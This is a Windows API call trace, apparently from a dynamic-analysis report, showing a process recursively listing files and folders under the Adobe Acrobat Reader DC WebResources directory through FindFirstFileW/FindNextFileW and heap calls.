	[0163.779] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LightTheme.acrotheme", cAlternateFileName="LIGHTT~1.ACR")) returned 0
	[0163.779] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0163.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.779] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b050b7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x42a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1
	[0163.779] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebResources", cAlternateFileName="WEBRES~1")) returned 1
	[0163.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.780] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddec0
	[0163.780] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.780] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resource0", cAlternateFileName="RESOUR~1")) returned 1
	[0163.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0163.780] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0163.780] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.781] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_uris.js", cAlternateFileName="BASE_U~1.JS")) returned 1
	[0163.781] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xd2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0163.781] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1dcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="init.js", cAlternateFileName="")) returned 1
	[0163.781] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4381, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins.js", cAlternateFileName="")) returned 1
	[0163.781] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="static", cAlternateFileName="")) returned 1
	[0163.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45ecde8
	[0163.781] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0163.781] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.781] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="css", cAlternateFileName="")) returned 1
	[0163.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45fcdf0
	[0163.781] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\*", lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0163.782] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.782] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app", cAlternateFileName="")) returned 1
	[0163.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x464ffb8
	[0163.783] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\*", lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0163.783] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.783] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 1
	[0163.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x465ffc0
	[0163.784] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\*", lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd800
	[0163.784] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.784] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef", cAlternateFileName="")) returned 1
	[0163.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x466ffc8
	[0163.784] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\cef\\*", lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0163.785] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.785] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0163.785] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0163.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0163.785] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0163.785] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x466ffc8
	[0163.785] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs\\*", lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0163.785] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.785] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0163.785] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0163.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0163.786] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0
	[0163.786] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0163.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0163.786] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0163.786] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0163.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0163.786] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1
	[0163.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x464ffb8
	[0163.786] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\*", lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0163.786] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.786] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 1
	[0163.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x465ffc0
	[0163.787] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\*", lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0163.787] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.787] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef", cAlternateFileName="")) returned 1
	[0163.787] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x466ffc8
